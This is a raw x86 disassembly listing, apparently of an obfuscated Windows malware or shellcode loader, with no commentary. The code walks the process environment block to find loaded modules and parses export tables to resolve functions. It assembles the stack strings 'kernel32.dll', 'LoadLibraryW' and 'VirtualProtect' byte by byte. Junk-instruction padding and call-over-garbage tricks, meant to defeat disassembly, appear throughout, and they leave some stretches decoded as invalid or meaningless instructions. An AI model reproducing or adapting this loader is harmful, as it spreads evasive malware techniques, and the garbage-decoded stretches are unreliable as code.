mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x405ea3
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x405f55
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x405f55
push ecx
push ecx
add esp, 4
jmp 0x405edd
sub ecx, 0xaed8
or ecx, 0x1228
pop ecx
push eax
push ecx
add esp, 4
sub eax, 0x11cf3
add eax, 0xf1c9
sub eax, 0x1341c
pop eax
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x405f47
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x405f4e
jmp 0x405e94
jmp 0x405f55
push eax
push esi
add esp, 4
or eax, 0x9652
pop eax
push edi
xor edi, 0x16797
sub edi, 0xb021
call 0x405f7d
add byte [eax], al
add byte [eax], al
xor bh, byte [edi]
dec esp
cmp byte [ebp + 0x3b], cl
inc ebp
dec esp
cmp eax, 0x8104c483
test dword [ebx + 0x5f000089], 0xf908958b
invalid
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x406126
push ecx
push ecx
add esp, 4
add ecx, 0x15c1a
and ecx, 0x499d
add ecx, 0xfbac
pop ecx
push ebx
call 0x406080
add byte [ebp + 0x4f], cl
dec esi
push eax
inc ecx
xor bh, byte ds:[esi]
cmp byte [ebx - 0x347efb3c], al
adc al, 3
add byte [eax], al
pop ebx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edx
push ebx
add esp, 4
or edx, 0x1a6d
xor edx, 0x118a0
jmp 0x4060ad
pop edx
push ecx
sub ecx, 0x24d5
add ecx, 0x12379
and ecx, 0x704d
sub ecx, 0x2679
pop ecx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x406126
push esi
push ebx
add esp, 4
xor esi, 0x15cac
pop esi
push ebx
xor ebx, 0x49ea
and ebx, 0x16faa
pop ebx
push edx
push eax
add esp, 4
and edx, 0xbf0f
sub edx, 0x1159b
add edx, 0x663f
pop edx
mov dword [ebp - 0x738], 0
jmp 0x406810
push ecx
add ecx, 0xeac0
xor ecx, 0x8b62
call 0x406141
add byte [edx], bh
dec ebx
dec eax
xor eax, 0x4a3e4640
add esp, 4
sub ecx, 0xb53b
pop ecx
push ecx
push esi
add esp, 4
jmp 0x406157
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edi
push eax
add esp, 4
call 0x406192
add byte [esp + ecx*2 + 0x36], cl
dec ebx
dec ebx
inc eax
xor al, byte [eax - 0x7d]
les eax, [ecx + eax*4]
test dword [ebx - 0x7efffede], 0x17eaecf
add al, ch
pop es
add byte [eax], al
add byte [eax], al
dec ecx
cmp al, 0x38
dec eax
add esp, 4
pop edi
cmp dword [ebp - 0x14f4], 0
jne 0x4061c9
mov dword [ebp - 0x2e0], 0
jmp 0x406470
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ebx
xor ebx, 0x7985
and ebx, 0xf7c4
sub ebx, 0xec8e
pop ebx
push edx
add edx, 0x1665d
call 0x406202
add byte [edx + 0x46], cl
inc ebx
cmp eax, dword [edx + 0x38]
add esp, 4
jmp 0x40620c
pop edx
cmp dword [ebp - 0xc3c], 0
jne 0x406225
mov dword [ebp - 0x2e0], 0
jmp 0x406470
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push eax
push esi
add esp, 4
jmp 0x40623d
sub eax, 0x391b
jmp 0x406248
pop eax
push ebx
push edi
add esp, 4
add ebx, 0x3ca4
or ebx, 0x8a22
pop ebx
push eax
sub eax, 0x7c79
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
push ecx
add esp, 4
sub esi, 0x11df3
pop esi
push ecx
add ecx, 0x13c4
sub ecx, 0x11fd4
add ecx, 0x7f8a
pop ecx
push edi
push esi
add esp, 4
xor edi, 0x35d
or edi, 0x4155
pop edi
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
push ecx
add esp, 4
jmp 0x406323
pop esi
push ebx
push edi
add esp, 4
or ebx, 0xb45f
or ebx, 0xca4e
add ebx, 0x1d6b
pop ebx
push edi
push edi
add esp, 4
and edi, 0x12a0f
pop edi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x406365
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x4063bf
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x40628d
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x40628d
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x4063a9
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x4063b3
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x406408
push ecx
and ecx, 0xc4cb
or ecx, 0x2d1f
call 0x4063e2
add byte [edx + 0x48], al
dec ebp
dec esi
aas
inc edx
inc ebx
add esp, 4
or ecx, 0x16c83
pop ecx
push ebx
sub ebx, 0x3545
or ebx, 0x12344
pop ebx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x406470
push ebx
xor ebx, 0x7389
add ebx, 0x163e
call 0x406422
add byte [esi + 0x33], al
cmp ecx, dword ss:[ebp + 0x43]
cmp al, byte [ebx - 0x1c7efb3c]
adc al, 0xae
add byte [eax], al
pop ebx
push edx
and edx, 0x5e60
and edx, 0x156e7
pop edx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x406466
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x406231
mov dword [ebp - 0x2e0], 0
push eax
push esi
add esp, 4
xor eax, 0x73d2
call 0x406487
add byte [ebp + 0x3c], cl
dec ebp
dec esp
xor al, byte [ebp - 0x7d]
les eax, [ecx + eax*4]
enter 0x755b, 0
add byte [ecx + 0x32a1e0], al
add byte [eax + 0x53], bl
push eax
add esp, 4
jmp 0x4064a1
pop ebx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ebx
or ebx, 0x479a
sub ebx, 0x13bdf
or ebx, 0x40a9
pop ebx
push ecx
push esi
add esp, 4
or ecx, 0xae96
or ecx, 0x1709a
pop ecx
push esi
push ecx
add esp, 4
jmp 0x4064e2
pop esi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x406513
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x406804
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x40653b
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x406804
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x40656d
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x406804
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x406592
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x406804
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x4065ec
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x4067f8
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x40665c
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x40670e
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x40670e
push edi
jmp 0x40668f
pop edi
push edx
jmp 0x406697
pop edx
push esi
push eax
add esp, 4
xor esi, 0x180e4
jmp 0x4066aa
or esi, 0x60d9
pop esi
push ebx
jmp 0x4066ba
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x406700
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x406707
jmp 0x40664d
jmp 0x40670e
push ebx
push ebx
add esp, 4
add ebx, 0x123df
and ebx, 0x163f1
add ebx, 0x5b6d
sub ebx, 0xc8ec
pop ebx
push edi
xor edi, 0xcac
sub edi, 0x74a
xor edi, 0xf62d
pop edi
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x40676d
mov dword [ebp - 0xc40], 0
jmp 0x4067dc
push edx
or edx, 0x12068
jmp 0x406779
pop edx
push ebx
push eax
add esp, 4
or ebx, 0x692b
sub ebx, 0x15969
or ebx, 0xd0f0
xor ebx, 0x1206f
pop ebx
push ebx
jmp 0x40679e
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x4067d2
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x4067dc
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x4067f3
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x406804
jmp 0x4065dd
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ebx
push edx
add esp, 4
xor ebx, 0x16b08
pop ebx
push eax
push ebx
add esp, 4
add eax, 0x16aa2
pop eax
push edx
add edx, 0x143d1
or edx, 0x1b26
and edx, 0xfb84
and edx, 0x16033
pop edx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push eax
or eax, 0x16791
or eax, 0x164cc
xor eax, 0xcf09
pop eax
push edx
push edx
add esp, 4
or edx, 0x3a36
add edx, 0xb16c
or edx, 0xf3fd
add edx, 0xa0bb
pop edx
cmp dword [ebp - 0x3cc], 0
je 0x406895
cmp dword [ebp - 0xa5c], 0
jne 0x4068db
push ebx
push ebx
add esp, 4
or ebx, 0xec8d
sub ebx, 0x54fb
and ebx, 0x15e64
call 0x4068bb
add byte [esi + 0x3d], al
dec esi
inc ecx
inc ecx
xor al, 0x3c
xor al, byte [ebx - 0x7d]
les eax, [ebx + ebx*2]
push esi
and esi, 0x177ec
pop esi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push esi
jmp 0x4068ec
jmp 0x4068f2
and esi, 0x1185b
pop esi
push ebx
push ecx
add esp, 4
or ebx, 0xb1f5
pop ebx
push ecx
push ebx
add esp, 4
add ecx, 0x13700
and ecx, 0x2bd9
pop ecx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edx
push ebx
add esp, 4
or edx, 0xdf1a
or edx, 0xe844
pop edx
push eax
and eax, 0x125c5
and eax, 0xff1b
pop eax
push ebx
push ebx
add esp, 4
sub ebx, 0x24d
add ebx, 0x616e
pop ebx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edi
push edi
add esp, 4
xor edi, 0x6ba0
sub edi, 0xc45e
or edi, 0x139b6
and edi, 0xe8f3
pop edi
push edx
add edx, 0x14ec2
sub edx, 0xc670
sub edx, 0x14736
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push esi
add esi, 0x11518
xor esi, 0xecfc
sub esi, 0x18123
xor esi, 0x2c5e
pop esi
push edi
push edx
add esp, 4
or edi, 0xe2b0
or edi, 0x1364e
add edi, 0xe7bb
pop edi
cmp dword [ebp - 0x150c], 0
jne 0x406a80
mov dword [ebp - 0x2a8], 0
jmp 0x406d27
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
push eax
add esp, 4
sub eax, 0xc213
or eax, 0x97d3
add eax, 0x631b
pop eax
push esi
add esi, 0x157d4
sub esi, 0x16068
sub esi, 0x17787
sub esi, 0xc1b3
pop esi
cmp dword [ebp - 0xc4c], 0
jne 0x406adc
mov dword [ebp - 0x2a8], 0
jmp 0x406d27
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ebx
push ebx
add esp, 4
add ebx, 0xd05
pop ebx
push eax
jmp 0x406afb
or eax, 0x14e4c
or eax, 0x8796
add eax, 0x10767
pop eax
push ebx
push edi
add esp, 4
sub ebx, 0x86c3
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
jmp 0x406b4d
pop ecx
push ebx
push eax
add esp, 4
or ebx, 0x8e04
or ebx, 0x1776f
pop ebx
push edi
push ecx
add esp, 4
call 0x406b72
add byte [ebx + 0x4b], cl
xor edi, dword ss:[eax]
cmp al, byte [ebp - 0x7d]
les eax, [edi + ebx*2]
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ecx
sub ecx, 0x181ad
xor ecx, 0xa80b
sub ecx, 0x107b0
pop ecx
push edi
push edi
add esp, 4
xor edi, 0xd1e4
or edi, 0x13691
sub edi, 0x109c1
add edi, 0x6399
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x406c1c
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x406c76
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x406b44
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x406b44
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x406c60
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x406c6a
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x406cbf
push eax
or eax, 0x5e2b
call 0x406c92
add byte [ebx], bh
cmp eax, dword [edx + ecx*2 + 0x35]
inc edi
add esp, 4
pop eax
push edx
push esi
add esp, 4
call 0x406ca7
add byte [ebx + eax*2 + 0x50], al
push eax
cmp dword [ebp - 0x7d], ecx
les eax, [ecx + eax*4]
retf 0x9d9e
push ebx
or ebx, 0xa542
call 0x406cd3
add byte [ecx*2 + 0x37384436], bh
inc edi
add esp, 4
and ebx, 0x1661
add ebx, 0x14a95
pop ebx
push ebx
or ebx, 0xe93e
xor ebx, 0x133a5
pop ebx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x406d1d
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x406ae8
mov dword [ebp - 0x2a8], 0
push ebx
sub ebx, 0x13e0f
jmp 0x406d35
jmp 0x406d3a
pop ebx
push esi
add esi, 0x10d09
call 0x406d4f
add byte [ebx + 0x46], cl
dec eax
cmp eax, 0x834a5039
les eax, [ecx + eax*4]
into
sahf
add byte [eax], al
pop esi
cmp dword [ebp - 0x2a8], 0
jne 0x40765e
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ebx
sub ebx, 0x11e11
or ebx, 0xdf33
pop ebx
push eax
push ebx
add esp, 4
jmp 0x406e1b
jmp 0x406e22
pop eax
push ebx
or ebx, 0x10151
add ebx, 0x6a5f
pop ebx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push eax
call 0x406ec5
add byte [ecx], bh
inc edx
cmp al, 0x35
dec edx
cmp byte [esi + 0x43], cl
dec ebp
cmp eax, dword [ebx + 0x4eb04c4]
cmp cl, byte [eax + 0x34]
xor eax, 0x3d4305eb
dec esp
aas
xor al, 0x58
push ecx
xor ecx, 0x7b06
jmp 0x406ee5
pop ecx
cmp dword [ebp - 0x1518], 0
jne 0x406efe
mov dword [ebp - 0x710], 0
jmp 0x4071a5
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push esi
jmp 0x406f19
pop esi
push ecx
and ecx, 0xbe6f
pop ecx
push edx
add edx, 0xcd73
pop edx
push eax
push ecx
add esp, 4
and eax, 0xd68a
sub eax, 0x15e87
xor eax, 0x77a6
pop eax
cmp dword [ebp - 0xc58], 0
jne 0x406f5a
mov dword [ebp - 0x710], 0
jmp 0x4071a5
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ecx
push eax
add esp, 4
call 0x406f77
add byte [eax + ecx*2], dh
inc eax
aaa
inc ebx
add esp, 4
xor ecx, 0x16c07
pop ecx
push esi
sub esi, 0x1056a
call 0x406f94
add byte [0x4f3c4443], dh
dec ecx
add esp, 4
pop esi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
push ecx
add esp, 4
xor esi, 0xa89d
pop esi
push esi
push esi
add esp, 4
or esi, 0xd8a4
sub esi, 0xca6b
or esi, 0x82fb
add esi, 0x12bcc
pop esi
push ebx
add ebx, 0xa5a4
movsd dword es:[edi], dword [esi]
add byte [eax], al
pop ebx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push eax
push esi
add esp, 4
sub eax, 0x31a
pop eax
push esi
jmp 0x40705e
xor esi, 0x13550
and esi, 0x586c
xor esi, 0x15f1a
pop esi
push esi
push esi
add esp, 4
or esi, 0xba81
pop esi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x40709a
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4070f4
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x406fc2
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x406fc2
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4070de
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4070e8
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x40713d
push esi
push edx
add esp, 4
call 0x407111
add byte [esi + 0x37], cl
push eax
inc eax
inc edi
inc edx
xor eax, 0xc483444e
add al, 0x81
out 0x65, al
out dx, eax
add byte [eax], al
pop esi
push esi
or esi, 0x10abe
and esi, 0x123b2
sub esi, 0x7d45
pop esi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x4071a5
push edi
push eax
add esp, 4
jmp 0x407149
or edi, 0x6d65
sub edi, 0x2892
and edi, 0x16aa1
pop edi
push edx
or edx, 0x4fb
pop edx
push eax
jmp 0x40716e
pop eax
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x40719b
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x406f66
mov dword [ebp - 0x710], 0
push ecx
or ecx, 0x141e4
xor ecx, 0xa7a7
xor ecx, 0x13bad
pop ecx
push esi
push esi
add esp, 4
add esi, 0x74e
sub esi, 0xd8e9
pop esi
push ecx
push esi
add esp, 4
add ecx, 0x164c9
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x407221
push ebx
push ebx
add esp, 4
or ebx, 0xd0e7
pop ebx
push edx
jmp 0x4071f4
pop edx
push edx
add edx, 0x9c11
call 0x407208
add byte [esi], dh
xor eax, 0x353d384b
add esp, 4
or edx, 0x95d5
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x407d49
push eax
push ebx
add esp, 4
or eax, 0xf2fd
add eax, 0x5d8b
pop eax
push esi
push ebx
add esp, 4
add esi, 0x4806
xor esi, 0x10968
pop esi
push ebx
and ebx, 0x564f
sub ebx, 0x9e0a
pop ebx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x407292
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x407583
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x4072ba
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x407583
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x4072ec
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x407583
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x407311
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x407583
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x40736b
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x407577
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
